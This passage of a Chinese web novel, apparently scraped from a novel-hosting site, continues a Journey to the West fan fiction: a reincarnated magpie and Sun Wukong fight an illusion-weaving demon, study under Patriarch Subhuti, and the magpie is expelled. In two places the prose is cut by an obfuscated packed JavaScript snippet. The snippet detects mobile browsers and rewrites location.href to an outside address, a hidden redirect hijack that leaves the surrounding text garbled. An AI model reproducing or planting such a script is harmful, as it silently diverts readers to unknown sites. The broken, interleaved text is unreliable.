只不过没法买到凡人集市里的东西,生活质量维持在一个较低的水平。 他俩想了半天也没想出个可行方案,最后得出的结论是赚钱随缘,饿不死就行。 孙悟空抱怨:“切,跟凡人做生意太麻烦了,挑三拣四的。” 其实赚不到钱也有道德底线过高的缘故。他俩谁也没好意思说去偷去抢,那太给妖丢面儿了。 鸟和猴就这么一路摆烂到西牛贺洲,行至交界处附近的一个小镇。 此处山水秀丽,风景宜人,怎么看都是个宜居的好地方。 更别提牛羊壮硕,土地肥沃,镇民根本不必为生计发愁。 奇怪的是,观察过路人,却是个个憔悴无神,精神状态欠佳的模样。街边三三两两的游民聚在一起,也不是打牌作乐,而是互吐苦水,唉声叹气。 打听一番才知道,这些镇民虽不愁生计,可近来常有恶妖搅扰,伤财害命。镇民终日惶惶,忧顾着自己的身家性命,自然无心逗趣作乐。 恶妖号霖春仙子,来去无影,诡踪难测。一手迷魂摄魄的本事,能哄得别人把心肝脾肺,金银财宝,尽数奉上。 镇民深受其害,集重金悬赏捉拿,望有能人异士揭榜,替他们解决了这桩祸事。 “这是个赚钱的机会。”孙悟空得知了来龙去脉,摩拳擦掌,想做第一个揭榜的勇士。 姜怀愫质疑:“你行吗?” “怎么不行。”孙悟空昂起头,尾巴一甩,“这个恶妖,打架肯定不怎么厉害,所以只能用这种迂回手段来迷惑别人。俺知道有些妖精精通幻术,但俺从没中过招。” 他指着布告栏上的字,照着最后一行念道:“事成之后,三十两赏银自当奉上。” 这么多银子,够他们挥霍好久了。 就算搞不定那恶妖,应该也不至于丢掉性命。姜怀愫对孙悟空的主角光环还是很信任的,况且赏银的诱惑实在太大。 没有犹豫太久,她点了点头:“咱们试试!” 无需主动去寻恶妖,他们两个无屋可栖的流浪儿被盯上是必然的,守株待兔即可。 半夜人人紧闭门户,就孙悟空还在街头晃悠,简直是一块行走的肥肉。何况他周身全无浊气,看起来比普通凡人还可口不少,霖春仙子没理由放过。 姜怀愫被他背在竹篓里,透过孔洞观察四周,但在这样昏暗的环境下,她什么也看不清。 “有点吓人啊......”她靠在离孙悟空后背更近的那一面,“今晚连月亮也没有么?” “有,只是被乌云遮住了。”孙悟空叮嘱她,“你千万不要出来啊,待在里面就行。” “那肯定。” 早就商量好了,她负责躲在竹篓里观察情况,悄悄丢法术辅助作战。 按照预想,他们这俩外乡人士这般招摇过市,一定会引起霖春仙子的注意。可不知为何,徒步到后半夜,依然不见异状,周围静悄悄的,只有孙悟空的脚步声在街角回荡。 她缩在竹篓里,随着孙悟空的动作轻微颠簸,跟待在摇篮里似的,时间一长,难免生出些困意,只能把自己贴在孔洞处,吹吹凉风,试图清醒。 这时,一只带着血丝的白眼球骤然从竹篓的外侧贴了过来,十分突兀的,与她视线相对。 距离太近,她几乎触碰到那只眼球上方稀疏的睫毛,能感受到一股泛着腥气的凉意,顺着孔洞钻进来。 卧槽! 她被吓得翅膀一缩,在竹篓里翻滚了半圈,赶忙提醒孙悟空:“来了,来了!” 孙悟空却好像听不见似的,仍在自顾自前进。 她扑棱着翅膀去踹竹筐,想着这样孙悟空总该注意到,结果仍是徒劳,漆黑的夜里仿佛只剩她一个活物,独自面对这可怖的眼球怪。 就这还“霖春仙子”?听名字仙气飘飘,实物却长得这么恶心,不用想,这名号肯定是眼球怪自个儿传出去的。 半天等不来孙悟空的回应,她立马意识到了另一种可能性——自己或许已经身处幻术当中了。比起孙悟空,她是更容易中招的那个。 于是她立马闭上了眼睛,打定主意,无论听到什么看到什么,都绝不走出竹篓,也不去做多余的事。只施法在周身稳固防护结界,确保自己的安全。 竹篓开始剧烈摇晃起来,那种程度已经不能简单地用颠簸二字来形容,如果她是鸡蛋,现在估计已经被摇散黄了。 即便如此,姜怀愫仍不为所动,牢牢扒在竹篓底部,降低重心。今天她就是在这儿吐出来,晕过去,也绝不踏出竹篓一步! 不知过了多久,晃动平歇下来,空气中似有若无的腥气也消失了,一切重归寂静。 她大着胆子睁眼一看,那眼球怪不见了,熹微的晨光从孔洞外透进来。 “喂,还不醒?”孙悟空不满的声音响起。 “欸。”再次听到同伴的声音,她简直要热泪盈眶了,“刚刚.......” “叫你半天都不理人,一觉睡到天亮,你可是舒服了。” “不,我没睡!” 姜怀愫口齿伶俐地把刚才发生的事讲述了一遍,认为那眼球怪就是他们要找的霖春仙子。当时她身中幻术,在孙悟空视角中却什么也没发生,还以为她只是在竹篓中合眼安眠。 她后怕道:“什么妖精长得这么丑,只有眼睛?” “既然你中了幻术,所闻所见可能都是假的......”孙悟空猜测,“那眼睛或许只是霖春仙子吓唬你的手段,不一定是他的本貌。” 姜怀愫觉得有道理。正要跟孙悟空继续深入探讨一番,却感受到他步子一滞。 惯性带得她往前一扑,贴在孙悟空的后背,疑惑道:“怎么了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447208|169434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“别出来。” 扔下这简短的三个字后,孙悟空卸下竹篓放在路边,直起身子朝前方走去。骨节按得咔咔响,好似要大干一场。 透过孔洞,姜怀愫看见了孙悟空对面的那个东西。 很难形容那东西的模样,又平又扁的脸上没有五官,像是一团泥巴被塑成了人形。小臂上长满了眼睛,每只眼的形状大小都不尽相同,看得姜怀愫起一身鸡皮疙瘩。 她朝着孙悟空大喊,说这可能是幻象,后者却坚称这是霖春仙子本相,不知他的判断标准是什么,姜怀愫只得暂且选择相信。 或许之前那只作弄她的眼球只是试探,见幻术不起效,才决定来硬的。 “好香。”那人形泥巴居然说话了,尖细的男音,像是粉笔刮过黑板时的滋啦声,令人牙酸。“小猴子,闻起来好香。” 霖春仙子来者不拒,人也好猴也好,只要有价值,都是他的猎物。 孙悟空好歹在花果山称王称霸这么多年,争过地盘打过群架,在拳脚功夫方面颇有心得,就算不会法术,战力也弱不到哪去。 姜怀愫心惊胆战地看着他们打成一团,连眼睛都不敢眨,时不时扔一个攻击类法术过去,却起不到太大作用,跟摔炮似的,对面总能躲开。 战况惨烈到说是血肉横飞也不为过,她总算明白为什么孙悟空打架前要卸下背篓,这种情况下确实只适合一对一,队友掺和进去容易被误伤。 泥巴人手上突然伸出五根利如钢刀的指甲,猝不及防一个竖劈,孙悟空的腰腹被撕开一道口子,血液像果汁一样喷溅出来。 姜怀愫越看越心急,想给孙悟空施加一道防护罩,可竹篓里视野太窄,几次都没能锁定住孙悟空。 她干脆掀开竹篓顶部的挡光布,钻了出去。 孙悟空看见她的动作,急道:“你出来干什么!” “他要是想杀我,这竹篓又能起到什么保护作用,哎呀别管了,你先......” 抓住孙悟空分神的间隙,泥巴人五指成爪挠过去,给他脸上添了一处新伤。 “别分心,你打你的,我施法给你加防护罩!”眼见泥巴人又要偷袭,她急忙提醒,“右边!” 然而不知怎的,他行动似乎迟钝了不少,这一击也没能躲过。好在姜怀愫终于用灵力凝成一道防护罩,精准地隔在了他与泥巴人之间,替他挡下了部分冲击。 “孙悟空!”她急道,“别看我了,看他!” “......哦。” 姜怀愫飞到最近的一处房檐上,方便观察战况。 忽然,福灵心至一般,她意识到了什么不对。 盯着下方浑身是血的猴子,她低声道:“孙悟空。” 猴子抽空回了她一句:“又咋了?” 她暗骂一声,爹的,大意了! 该死的霖春仙子,搞的什么洋葱式幻境,剥了一层还有一层。猴子现在的名字是果果,怎么会对“孙悟空”三个字如此接受良好。 “姜怀愫!”一声呼唤,似乎从很遥远的地方传来。 像是憋气了很久的人终于呼吸到新鲜空气那样,她浑身一震。 随着她意识的清醒,周围的建筑物像奶油一样融化掉。下方的孙悟空和泥巴人都不动了,齐齐抬头仰望着她,眼神如出一辙的麻木。 她头脑一阵晕眩,使劲眨了眨眼,几息之间,眼前的景色彻底变了模样。 天空黑得像浓稠的墨汁,月亮藏在乌云后。此时离日出时间还有很久,之前的微熹晨光只是她的幻觉。 孙悟空咋咋呼呼的声音从身下传来:“胖鸟,俺骨头都要被你砸断了。” 她这才发觉,自己居然躺在孙悟空身上。一个鲤鱼打挺跳起来,她一脸懵地问:“什么情况?” 孙悟空伸出手,用她外婆抓鸡那样的姿势把她提溜起来。 “你刚刚钻出竹篓飞到半空,然后就不动弹了!直挺挺地坠下来。看你要摔死,俺只能给你当一回肉垫。哎,幸好俺身子骨结实......” 姜怀愫目露警惕:“你叫什么名字。” “......果果。”孙悟空无奈道,“我是真的。” 11. 第 11 章 姜怀愫瘫在孙悟空手里,彻底摆烂:“接下来我绝对不会再动弹了。” 孙悟空也就地躺下,一副要安然长眠的姿态:“我刚才看见他了,那个霖春仙子。长得很丑,鬼影似的窜来窜去,比老鼠还难抓。” “现在呢,他跑了?” “跑了。” “他什么模样?” “像站起来的狗屎。” “......什么妖怪会长得像狗屎。” “谁知道。”孙悟空语气嫌恶,“也可能是一坨湖底淤泥成了精,臭烘烘的。” 姜怀愫正要接话,出色的动态视力却在此时发挥了效用——余光瞥到一团黑影状的东西悄然接近了他们,几乎与夜色融为一体。 她小声提醒:“喂......你看看后面。” 孙悟空扭头一看,立马像弹簧似的蹦起来: “我就说刚才怎么又闻到臭味,原来这阴魂不散的东西就在附近。这次要是再让他跑了,我就......” 狠话还没放完,一柄长剑从天而降,快准狠地钉向地面,将那坨淤泥状的东西扎了个对穿。 这意外之喜让孙悟空和姜怀愫双双愣住。 后者心中的紧张多过欣喜,一朝被蛇咬十年怕井绳,她疑心自己又陷入了幻境。 直到剑主人仙气飘飘地落了地,脚下云雾散去,竟是个眉清目秀的小童子。 小童子轻松斩杀了那泥巴精,又转过头来,安抚了他们几句。随后自报家门,称自己来自灵台方寸山,斜月三星洞。此次下山是奉师父之命,要将附近作乱的恶妖诛灭。 “莫要惊慌。”小童子收了剑,淡然道,“已经没有危险了。” 姜怀愫心中的警惕顿时消散了个一干二净——据她先前的经验来看,泥巴精不会读心术,只能基于已知的信息搭建幻境。 而她从来没透露过斜月三星洞这个地名。 童子的话可信度直线上升,何况他所表现出来的样子,确实是有真本事在。 孙悟空的关注点却走偏:“现在赏银该怎么分嘞?” 倒不是贪财,只是初到人间,有许多新鲜玩意儿想要尝试,凡人的东西只能用凡人的货币去换,也是没有办法。 小童子:“赏银?” “没什么没什么。”姜怀愫打着哈哈,接过话头,“仙童,实不相瞒,我们本来是要自己接下这桩捉妖的差事,可惜本事不够,还要你来收场。” 小童子笑道:“你们两个也是妖,却来抢收妖的活。想来我师父说的没错,佛魔一念间,善恶本同源。正邪之辨,唯心所现。” 姜怀愫听得云里雾里,旁边的天赋选手却已领悟了童子话中深意,赞同地点了点头:“不错。虽同为妖族,但俺与那泥巴精是不一样的。” 后知后觉想起了自己此番出行的目的,孙悟空挠了挠头,继续道:“对了,小仙童,既然你说你有个师父,那俺得多问两句。” “想问什么?” “你师父是哪位高人,本事大么?” “我师父称名须菩提祖师,神通广大,法力无边。” 姜怀愫在旁边欣慰地听着,心想这是终于要进入正题了。果真是命中注定的师徒情分,相遇不过是时间问题。 一番交涉后,孙悟空表明了自己正是为访道学仙而来,不知那位祖师可还有收徒之意。 童子了然地点点头: “我师父说,下山途中若遇修行之人,需多加留心,想来就是你了。你想拜师,他一定肯收的。” 灵台方寸山就在附近,接下来的流程便顺理成章了。 考虑到孙悟空和姜怀愫行路疲惫,童子还特意允他们在镇上休息一晚,等天亮了再出发。 孙悟空欣喜不已,姜怀愫心中却有些忐忑——到了斜月三星洞,大概就得与猴哥分道扬镳,到时她该去哪儿?还是回花果山么。 姜怀愫已经为将来做起打算,却没想到,菩提祖师大手一挥,将他们两个都收了。 仙风道骨的老头,比她想象中要好说话得多,连入门考核都没有,直接就安排他俩拜师入住。 ......简直是天上掉馅饼啊! 姜怀愫美滋滋地想着,大概是跟猴哥待久了,受主角光环影响,自己的气运也变好不少。 之后便是喜闻乐道的学艺环节。 没过几天,姜怀愫就笑不出来了。学艺过程比她想象中艰辛太多,重新回想起了曾经被高数支配的恐惧,她苦不堪言,连做梦都在背法诀。 讲经论道时,同样的话,孙悟空能领悟十分,她却难以解其深意。有种看着学霸和老师相谈甚欢,自己却插不进话的无力感。 为此她不得不付出更多精力去钻研,努力跟上课堂进度。 唯一的好消息是孙悟空被祖师赐了名,她终于能安心叫他的名字,不用担心口误说漏嘴了。 这日清晨,孙悟空神神秘秘把她叫到一旁,塞给她一个荷包。 她用嘴衔着,掂量了一下,份量还不轻。 “这是?” “三十两银子。”孙悟空骄傲道,“在镇上留宿的那晚,我悄摸跑去兑了。经过祖师几日的熏陶,我已明白钱财不过是身外之物,原本想与你平分,现在干脆全部都给你。” 扯什么身外之物,分明是孙悟空看出她这几日烦心忧虑,想借此讨她欢喜。 多么贴心的一只猴啊! 姜怀愫差点热泪盈眶了。深感有一个好同窗是多么重要,能同时起到激励和安抚的作用,让她不至于道心破碎。 对于她这种俗人来说,三十两银子带来的正面效果显而易见,虽然暂时没有花出去的机会,但只要知道自己荷包鼓鼓,姜怀愫便倍感安心。 心境一开阔,学习效率都高了。 山上的树叶红了又绿,绿了又红。一晃眼过去好几个年头,山下人间,已是另一番境况了。 但姜怀愫对此没什么实感,身边的师兄师姐数十年如一日的容貌,让她生出一种时间从未流逝的错觉。 几年来紧锣密鼓的修习,除了吃饭睡觉外,她几乎一刻不曾停歇。所取得的成果也是显而易见的,最重要的一点——她能化出人形了。 不过徒有技巧,没有浑厚的法力做支撑,导致她的人形并不能维持太久,大部分时间仍以喜鹊原型示人。 即便如此,她也很知足了。听说有妖怪几百年才能化形,而她几年就能做到,怎么不算天赋使然。 穿越到这里来之后一连遇到两尊大神,让她自信稍稍有些受挫,没有第一时间意识到自己也在优等生行列。现在她已经想通了,不要跟天赋点加满的变态比,比来比去只会把自己气死。 今日她照例在树下洒扫,路过的师兄奇道:“咦,怀愫师妹,今天化人形怎么只化一半?” 姜怀愫把鸟头转向他:“啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447209|169434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,感觉这样比较轻松。” 虽然在外人眼里她现在是个鸟头人身的怪物,但师兄们见多识广,不至于被吓到。况且,穿成妖怪之后她的审美似乎发生了一些变化,逐渐理解为什么某些动物修炼成人后喜欢保留一点兽类特征。 选择以这副模样示人,除了轻松之外还有一个原因,那就是她觉得自己的鸟脑袋挺好看的。 “听说师妹于化形一途颇有心得,能不能变个别的给我们瞧瞧?” “可以倒是可以......”她有些骄傲地挺起胸膛,毕竟原先就有基础在,学习化形之术的时候事半功倍,进度飞速,“你们想看我变什么?” “变株兰花来瞧瞧,行吗?” “简单。”她心中想着兰花的模样,摇身一变,地上便现出一株嫩绿的春兰来。 围观的师兄们拍手叫好,姜怀愫起初还有些飘飘然,渐渐的,心中升起一股古怪的违和感。 总觉得......好像哪里不对?? 抬头一看,她吓得魂都飞了一半——菩提祖师不知何时出现在师兄身后,脸上挂着似有若无的笑意,正盯着她看呢。 祖师拍了拍掌,幽幽道:“既然敢在人前卖弄本事,想必已经可以出师了。” 姜怀愫头皮发麻,总算知道了那股古怪感从何而来。西游记里不就有过类似的桥段么?孙悟空在师兄弟面前卖弄手段,被菩提祖师赶出了师门......但那是孙悟空的戏份啊! 她赶紧变回原身请罪:“弟子不敢。” 然而于事无补,祖师从不戏言,说她“可以出师”,意思就是可以拎包走人了。反正该学的都已经学完,继续待在这儿属实没必要。 祖师笑意吟吟地表示:“怀愫,我们师徒情分已尽,山高水远,你自去罢。” ......怎会如此啊! 姜怀愫心中哀嚎,但到底不敢顶嘴。知道祖师决定了的事情再无转圜余地,只得一一拜别了诸位师兄,哭丧着脸回寝居处收拾东西。 孙悟空得知了此事,比她还要傻眼。 毫无前兆,他的好姐们儿就这么被扫地出门了。猴子急得团团转,亦步亦趋跟在她身后:“你真要走啊?我帮你求求情呗,咱们一起去祖师面前......” 姜怀愫严肃脸:“不必。” “你有计划了?” 她叹了口气,背起行囊:“能有什么计划,只是事情已经发生,就顺其自然呗。” 见姜怀愫这副模样,孙悟空也不好多说。毕竟是祖师做的决定,他虽心有不满,但出于对师父的敬重,绝不会忤逆犯上。 何况连姜怀愫自己都接受了,他还有什么可阻拦的。只好收了向师父求情的心思,认真追问起她之后的打算: “离了师门,你要去哪?” “呃......花果山?”也算不忘初心了。 最初,她的目的地就是花果山来着。 孙悟空尾巴都要垂到地上去了,看起来很是不舍。姜怀愫拍了拍他的肩膀,语重心长道:“别难过,我们还会再见面的。” 他勉强应了一声,把这当做是姜怀愫安慰自己的场面话,一路摆着个苦瓜脸,送她走到山下。 殊不知姜怀愫说的全是大实话,按照原著剧情线走的话,他迟早会被祖师赶回花果山。 姜怀愫颇为潇洒地冲他挥了挥手: “好了,就送到这里吧。”